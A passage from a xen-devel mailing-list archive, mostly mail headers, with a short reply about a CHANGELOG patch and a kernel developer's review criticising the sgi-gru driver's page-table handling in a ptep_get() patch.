 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 12:34:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp3Ut-005pgP-VO
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 14:34:55 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a69f361-2eae-0a2a0a5409dd-0a2a450ae574-14
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:34:55 +0200
Received: from [52.101.52.59]
 (helo=BL2PR02CU003.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a69f36e-f2d2-0a2a450a0019-3465343b0daa-4
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:34:55 +0200
Received: from CH8PR03MB8275.namprd03.prod.outlook.com (2603:10b6:610:2b9::7)
 by SA0PR03MB5449.namprd03.prod.outlook.com (2603:10b6:806:bd::12)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 12:34:53 +0000
Received: from CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37]) by CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37%7]) with mapi id 15.21.0245.012; Wed, 29 Jul 2026
 12:34:53 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=FM+cvm2bVCfWQDvQ4N8Mi6FYGI7WtUbfkauDwhWzLWgE1FdvEQ2wa6X6xhEVNU0ycYmFJcav/oMx1kwJZtZws+lx/lwbNFAqUzKjrsavgK0k3E/WtCdMKzcrXZRqRZN4s7ng0xRqAleBbK8Gi4NSXd/KopAk2XtdMBaAjoOWGOHN035h4Y9EDL0Vu2Lm096FeANxperSDKGHxNXCRZCh2zD+BuyeFXpWPUJ8niLTGziKOUbZ7EsK+RMl429sAigSND0i18GEUTEaUYu2uoRl2xiSwi9+Hjg6tuUS79Szo7NC3eAYy5nJSl3GhqGywCPhoPuUsaHBBBKs/Owwfc9yAg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=ijf+AaFwzvLrYWZoURADwHPayIRU8qj1kNcu6J1mUaQ=;
 b=vVhJ+yUqUA5gZvFSgX+bvKGVomWwuAlM+dkLYlAU64PspwiOVlKfJO1xV92te4Eqq1dYboRmX4CKE0D5LxjAwUGuHHUgskSswkWvVIuCMdsTHpH2IKNwS1ueDvwYI6R+F/A1HBZwW8S72fc3v54ndnlNw+25GdA0inQkyccvh1tjvTTnkRUzoIF9FWBZxShj3Oxn/cDtOIsuGCtwZ7q/1aqWP/J/KEqkqcHrlMHKTqPFvQsa3EaaaOH4PtD+SGTjwIyIIOcYE1lYenEacYqVZxzOzhlmurIbjDCosuWMSazh/3v2dD73gkUaZKMGzranvkozAe0RZHwTVUCm/kB37w==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=ijf+AaFwzvLrYWZoURADwHPayIRU8qj1kNcu6J1mUaQ=;
 b=hV9crrCHxq4XQwRkaVG16FAxq1ef3Xsmt3cjPTZw9ol4QUz65/Y8EK8aAOsEzoIbaJ0C7b+rq5xCAMyljTfNAxPcYxWmaJfstdz9/7Kp/X0eN/5jPs2E/uYKkDfUf5Pd7xxjMJ5XVE+arbe3/Ebt+Eq3enxeoJoCQfys0eedZ7M=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <9c05828f-2034-4178-9ab3-ddee0003724f@citrix.com>
Date: Wed, 29 Jul 2026 13:34:49 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
 Community Manager <community.manager@xenproject.org>,
 "committers @ xenproject . org" <committers@xenproject.org>,
 Julien Grall <julien@xen.org>, "Orzel, Michal" <michal.orzel@amd.com>,
 Stefano Stabellini <sstabellini@kernel.org>
Subject: Re: [PATCH] CHANGELOG: add Arm and RISC-V entries for 4.22
To: Bertrand Marquis <Bertrand.Marquis@arm.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
References: <8087862a1149a8875b578c2b3d044919d8563a39.1783950107.git.oleksii.kurochko@gmail.com>
 <24C3741F-1803-4ED7-84E3-0A2801468D41@arm.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVPEpE6y9ZjI4XB8ad1G4o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HLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <24C3741F-1803-4ED7-84E3-0A2801468D41@arm.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P123CA0248.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:1a7::19) To CH8PR03MB8275.namprd03.prod.outlook.com
 (2603:10b6:610:2b9::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8275:EE_|SA0PR03MB5449:EE_
X-MS-Office365-Filtering-Correlation-Id: 6ee97425-765c-474c-f3ad-08deed6dc9ef
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|376014|23010399003|4143699003|10067099003|11063799006|56012099006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	srjqMekBdA5+aWV0Y1rsR7yB2fUX3f0gOnno6ZPc9mSbTfWzHe4ERIw+royTKyQxiHbPYmJ/rAsVeXB3PlkmHFJ9zJuvOGzrXuDpPGIFDBqQqitrr6rY2A7mMRSazVa5nvHUGfSp/mcYrGrsMzQUVqm6awjqs4U+awwxnEWHnj5AqBrEDjcJfsRw3Xn1zJlE+elRPcDgOqMlKQLEeFG0l2nz0pJl/7PxRDvo7NriTJnPAmwk3eyJIYrHB6aXp7DmKSPFJcvy5Vo5JQ80CO4TD+xHS6MV7yqolnyZORePAqWWiQcGcS3xwr+GJAiEeDQmsHT7b14CSSZtfDiOt/bns2Cm1ZLdLXaiFunaUSJvI2XJaHBaxON+zQB9pJ3F2peshkYBNQPBD2ZwoCRSej5aNIjWkQzm0vYA1Tj26LL4psczRetNTtWAnyBPcsP6BvZiyoPxyM3YiYr8CAZBlvBcZkdDxQBc0pHRtzDt6d6/pmBdbNOR2nxf0/UBHBCipK96jFPKIp9sUherR8WZmtxSxd830ZN0uDOMSyhnaNwFXkrau6sPHVHq1QyDLM84u+XPY1jdXF9Tf5tImX6Duhxsr10j9tB/zbHkzMFyQ5INWhFM08kMs626YJeBKVPBtJAMK2PpWQkKrH8KrvQLXOmKxRqBnlfgluDlm3Rzr+ySifY=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8275.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(376014)(23010399003)(4143699003)(10067099003)(11063799006)(56012099006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?UE1rKzVYcUZWZGJpcG5nSExTVnRtZGwzR29yU3NYREY4WUtrdDZITE1ZZWRy?=
 =?utf-8?B?NVRXdVlraURyNWo5L3ZJUWpIalBPWmdRWHlaMXo4ZlRGL2V3ZmZxcXdnTGll?=
 =?utf-8?B?YS93YWhUWHJxR29acE1iM2pHMGJvQlJsZEMxQXpPNlVnSkdHOTNwckpiVXNl?=
 =?utf-8?B?SnlhWnRhZDNuWGMwNGJtekdKbDY5T1BISDJ6aExFVHp6S1JXUDhaSnhMd2hV?=
 =?utf-8?B?bGcyY01LYlgyditqakl6a0dZdmVOSW9IRUd3bnRwZ3FtK0ZiRjdwYU5PSW1U?=
 =?utf-8?B?ekE1QURodXVBbjd3TGV1SS9XZFFWR3BmNEVSdzFGMmprbForT013UWVBeDZO?=
 =?utf-8?B?VHQyVDRMeUp4Y2NKay9nZk9GMExkYy95MFVjd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bGc4NXNGbnE2VCtDSjgra0RIQUxsL0lFK2RKZ2lQcUlPWkJqNXE5?=
 =?utf-8?B?SmUzTE9iVjFBRFpmWDlKZjQrelJHU3NrbElpYkN1SmVXOEZpRW5xKzR1MXBW?=
 =?utf-8?B?dUYvU2l2ZmR2NmdnbWpXRVMyeVZFUm04YysySnllN1l2SENZTmlvQ2I4b1dz?=
 =?utf-8?B?T3JwdXlidnZZcFkvZmtvZFJtNnhPdE1LeVZTUTJQVlJHaVpoZFFJdz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 6ee97425-765c-474c-f3ad-08deed6dc9ef
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8275.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Jul 2026 12:34:52.9848
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: LsLJLTo2yZ2uVncoIQaglOKXkuQ7B+USE8B7DTzjIZfGKw0JVoUi1wsLQt72RAsEBciVKpk9e6nezDReZrK3zgaLsWIg/KoTzAaY5XpXuuI=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SA0PR03MB5449
X-purgate-ID: tlsNG-4011c0/1785328495-58FC6CFC-3DFCA697/10/73395122804
X-purgate-type: spam
X-purgate-size: 376

On 29/07/2026 7:43 am, Bertrand Marquis wrote:
> Hi Oleksii,
>
> It seems that this was missed.
>
>> On 13 Jul 2026, at 15:43, Oleksii Kurochko <oleksii.kurochko@gmail.com> wrote:
>>
>> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> Reviewed-by: Bertrand Marquis <bertrand.marquis@arm.com>

I'll pick this up with the Ocaml changes then.

~Andrew


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 12:37:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 12:37:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375752.1622818 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp3XA-00017m-4f; Wed, 29 Jul 2026 12:37:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375752.1622818; Wed, 29 Jul 2026 12:37:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp3XA-00017f-0k; Wed, 29 Jul 2026 12:37:16 +0000
Received: by outflank-mailman (input) for mailman id 1375752;
 Wed, 29 Jul 2026 12:37:14 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <pfalcato@suse.de>) id 1wp3X7-00017X-QM
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 12:37:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp3X7-00EQJw-73
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 14:37:13 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <pfalcato@suse.de>)
 id 6a69f3ea-5cb7-0a2a0a5109dd-0a2a4506ae1e-34
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:37:13 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <pfalcato@suse.de>)
 id 6a69f3f8-195a-0a2a45060019-c387df82a860-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:37:13 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id 0AE6C7CAFF;
 Wed, 29 Jul 2026 12:37:04 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 11699779A1;
 Wed, 29 Jul 2026 12:37:00 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id +/ToAOzzaWpxRgAAD6G6ig
 (envelope-from <pfalcato@suse.de>); Wed, 29 Jul 2026 12:37:00 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1785328628; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 in-reply-to:in-reply-to:references:references;
	bh=aCPopA3duELZWRFQ7PC+zcU7UIlf1ZyVyMzN0xmYHFs=;
	b=HsBO/9wNGNK0BBi/KZnybjT4wfzH1RbauNRa3BkCq1Gz1ZFYfyulio9BMMz/Qhlayjht8v
	gD7JzPlP/j/lbzamJYZIEmtCD/24X5mlh9Cm7ueizVVj2a3/38UgR1iUgozDxsYGd00nVJ
	81gftDjjAsCoQcZd/g/wQgIFNVzYSPo=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1785328628;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 in-reply-to:in-reply-to:references:references;
	bh=aCPopA3duELZWRFQ7PC+zcU7UIlf1ZyVyMzN0xmYHFs=;
	b=vhLdNBgT3LES3Nfy+reOhuZbF+sRDMgTm8/+rp44QydsQ0PgJmekRb7kN8gf1KeP/gQfF2
	vhVMad65mEjeOWBw==
Authentication-Results: smtp-out1.suse.de;
	dkim=pass header.d=suse.de header.s=susede2_rsa header.b=nBonCs6a;
	dkim=pass header.d=suse.de header.s=susede2_ed25519 header.b=BT3fFBrc
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1785328624; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 in-reply-to:in-reply-to:references:references;
	bh=aCPopA3duELZWRFQ7PC+zcU7UIlf1ZyVyMzN0xmYHFs=;
	b=nBonCs6auu91fwhTCPSwwqM/BnHZLlIGXt/TmMHVYSy429b64ZCJOljFWGBAHwpGwsp+VY
	26DPb6Xoz2zlvJd7icT3XVFcHRopeHCqPAv9U3TcLO99ha0MheRXkinzHltD+E4YU5GueL
	hsbqCAyQMiJN0MmV5BgL9eX8TbAHxvo=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1785328624;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 in-reply-to:in-reply-to:references:references;
	bh=aCPopA3duELZWRFQ7PC+zcU7UIlf1ZyVyMzN0xmYHFs=;
	b=BT3fFBrcAWB//UVTCQRGI3kpRDayFQs1zsoB1XrNCj60pSuBHTbHXO+sVcJVpP7eK4LEaV
	7UMRX0P/16CpuzAw==
Date: Wed, 29 Jul 2026 13:36:58 +0100
From: Pedro Falcato <pfalcato@suse.de>
To: Muhammad Usama Anjum <usama.anjum@arm.com>
Cc: Jani Nikula <jani.nikula@linux.intel.com>, 
	Joonas Lahtinen <joonas.lahtinen@linux.intel.com>, Rodrigo Vivi <rodrigo.vivi@intel.com>, 
	Tvrtko Ursulin <tursulin@ursulin.net>, David Airlie <airlied@gmail.com>, 
	Simona Vetter <simona@ffwll.ch>, Dimitri Sivanich <dimitri.sivanich@hpe.com>, 
	Arnd Bergmann <arnd@arndb.de>, Greg Kroah-Hartman <gregkh@linuxfoundation.org>, 
	"James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>, Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>, 
	Stefano Stabellini <sstabellini@kernel.org>, Muchun Song <muchun.song@linux.dev>, 
	Oscar Salvador <osalvador@suse.de>, Andrew Morton <akpm@linux-foundation.org>, 
	"Liam R. Howlett" <liam@infradead.org>, Lorenzo Stoakes <ljs@kernel.org>, Will Deacon <will@kernel.org>, 
	"Aneesh Kumar K.V" <aneesh.kumar@kernel.org>, Nick Piggin <npiggin@gmail.com>, 
	Peter Zijlstra <peterz@infradead.org>, Andrey Ryabinin <ryabinin.a.a@gmail.com>, 
	David Hildenbrand <david@kernel.org>, Pasha Tatashin <pasha.tatashin@soleen.com>, 
	Chris Li <chrisl@kernel.org>, Kairui Song <kasong@tencent.com>, 
	Uladzislau Rezki <urezki@gmail.com>, Steven Rostedt <rostedt@goodmis.org>, 
	Masami Hiramatsu <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>, 
	Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko <andrii@kernel.org>, 
	Eduard Zingerman <eddyz87@gmail.com>, Kumar Kartikeya Dwivedi <memxor@gmail.com>, 
	Ingo Molnar <mingo@redhat.com>, Arnaldo Carvalho de Melo <acme@kernel.org>, 
	Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>, 
	"Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan Kara <jack@suse.cz>, Jason Gunthorpe <jgg@ziepe.ca>, 
	Leon Romanovsky <leon@kernel.org>, Miaohe Lin <linmiaohe@huawei.com>, 
	Dennis Zhou <dennis@kernel.org>, Tejun Heo <tj@kernel.org>, Christoph Lameter <cl@gentwo.org>, 
	Mike Rapoport <rppt@kernel.org>, Johannes Weiner <hannes@cmpxchg.org>, ziy@nvidia.com, 
	agordeev@linux.ibm.com, ryan.roberts@arm.com, linux-kernel@vger.kernel.org, 
	intel-gfx@lists.freedesktop.org, dri-devel@lists.freedesktop.org, linux-parisc@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-mm@kvack.org, linux-fsdevel@vger.kernel.org, 
	linux-arch@vger.kernel.org, kasan-dev@googlegroups.com, linux-trace-kernel@vger.kernel.org, 
	bpf@vger.kernel.org, linux-perf-users@vger.kernel.org, damon@lists.linux.dev
Subject: Re: [PATCH RFC 09/11] misc/sgi-gru: use ptep_get() for page-table
 reads
Message-ID: <amnxCmFU40QQaxTx@pedro-suse.lan>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <20260727164715.2866609-10-usama.anjum@arm.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20260727164715.2866609-10-usama.anjum@arm.com>
X-Spam-Score: -3.01
X-Spam-Level: 
X-Rspamd-Action: no action
X-Rspamd-Queue-Id: 0AE6C7CAFF
X-Spamd-Result: default: False [-3.01 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	SUSPICIOUS_RECIPS(1.50)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	R_DKIM_ALLOW(-0.20)[suse.de:s=susede2_rsa,suse.de:s=susede2_ed25519];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	FREEMAIL_CC(0.00)[linux.intel.com,intel.com,ursulin.net,gmail.com,ffwll.ch,hpe.com,arndb.de,linuxfoundation.org,hansenpartnership.com,gmx.de,suse.com,kernel.org,linux.dev,suse.de,linux-foundation.org,infradead.org,soleen.com,tencent.com,goodmis.org,iogearbox.net,redhat.com,suse.cz,ziepe.ca,huawei.com,gentwo.org,cmpxchg.org,nvidia.com,linux.ibm.com,arm.com,vger.kernel.org,lists.freedesktop.org,lists.xenproject.org,kvack.org,googlegroups.com,lists.linux.dev];
	FREEMAIL_ENVRCPT(0.00)[gmail.com,gmx.de];
	DKIM_SIGNED(0.00)[suse.de:s=susede2_rsa,suse.de:s=susede2_ed25519];
	MIME_TRACE(0.00)[0:+];
	RCVD_TLS_ALL(0.00)[];
	ARC_NA(0.00)[];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	DKIM_TRACE(0.00)[suse.de:+];
	R_RATELIMIT(0.00)[to_ip_from(RL68tbpjnwz7cuja85sfonjfqu)];
	MISSING_XM_UA(0.00)[];
	RCVD_COUNT_TWO(0.00)[2];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	TO_DN_SOME(0.00)[];
	TO_MATCH_ENVRCPT_SOME(0.00)[];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	RCPT_COUNT_GT_50(0.00)[66];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	TAGGED_RCPT(0.00)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[imap1.dmz-prg2.suse.org:helo,imap1.dmz-prg2.suse.org:rdns,pedro-suse.lan:mid,suse.de:dkim,arm.com:email]
X-Rspamd-Server: rspamd1.dmz-prg2.suse.org
X-Spam-Flag: NO
X-purgate-ID: tlsNG-16d1c6/1785328633-F420077B-6156D45C/0/0
X-purgate-type: clean
X-purgate-size: 1632

On Mon, Jul 27, 2026 at 05:47:00PM +0100, Muhammad Usama Anjum wrote:
> A leaf PMD is being read through ptep_get() by treating the PMD address
> as PTE-sized table storage. ptep_get() now accepts hw_pte_t *, so update
> the cast accordingly.
> 
> pte_offset_kernel() also returns hw_pte_t *. Get pte_t value by calling
> ptep_get().
> 
> Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
> ---
>  drivers/misc/sgi-gru/grufault.c | 4 ++--
>  1 file changed, 2 insertions(+), 2 deletions(-)
> 
> diff --git a/drivers/misc/sgi-gru/grufault.c b/drivers/misc/sgi-gru/grufault.c
> index 3557d78ee47a2..ff89d34ad2aa4 100644
> --- a/drivers/misc/sgi-gru/grufault.c
> +++ b/drivers/misc/sgi-gru/grufault.c
> @@ -228,10 +228,10 @@ static int atomic_pte_lookup(struct vm_area_struct *vma, unsigned long vaddr,
>  		goto err;
>  #ifdef CONFIG_X86_64
>  	if (unlikely(pmd_leaf(*pmdp)))
> -		pte = ptep_get((pte_t *)pmdp);
> +		pte = ptep_get((hw_pte_t *)pmdp);
>  	else
>  #endif
> -		pte = *pte_offset_kernel(pmdp, vaddr);
> +		pte = ptep_get(pte_offset_kernel(pmdp, vaddr));
>  
>  	if (unlikely(!pte_present(pte) ||
>  		     (write && (!pte_write(pte) || !pte_dirty(pte)))))

This code is super, super broken. Can we remove this ASAP? For starters,
we're using is_vm_hugetlb_page() to detect page shift, the code does not
grab refs on the pages, uses pte_offset_kernel() on user page tables,
does not handle PUD-level hugepages, does not handle PMD-level hugepages on !x86_64,
does not hold page table locks nor check for pte table retraction, etc

I don't think I need to go on.

-- 
Pedro


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 12:42:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 12:42:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375779.1622827 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp3cU-0003Jr-P7; Wed, 29 Jul 2026 12:42:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375779.1622827; Wed, 29 Jul 2026 12:42:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp3cU-0003Jk-K7; Wed, 29 Jul 2026 12:42:46 +0000
Received: by outflank-mailman (input) for mailman id 1375779;
 Wed, 29 Jul 2026 12:42:45 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <david@kernel.org>) id 1wp3cT-0003Je-QF
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 12:42:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp3cT-00AJZe-1S
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 14:42:45 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <david@kernel.org>)
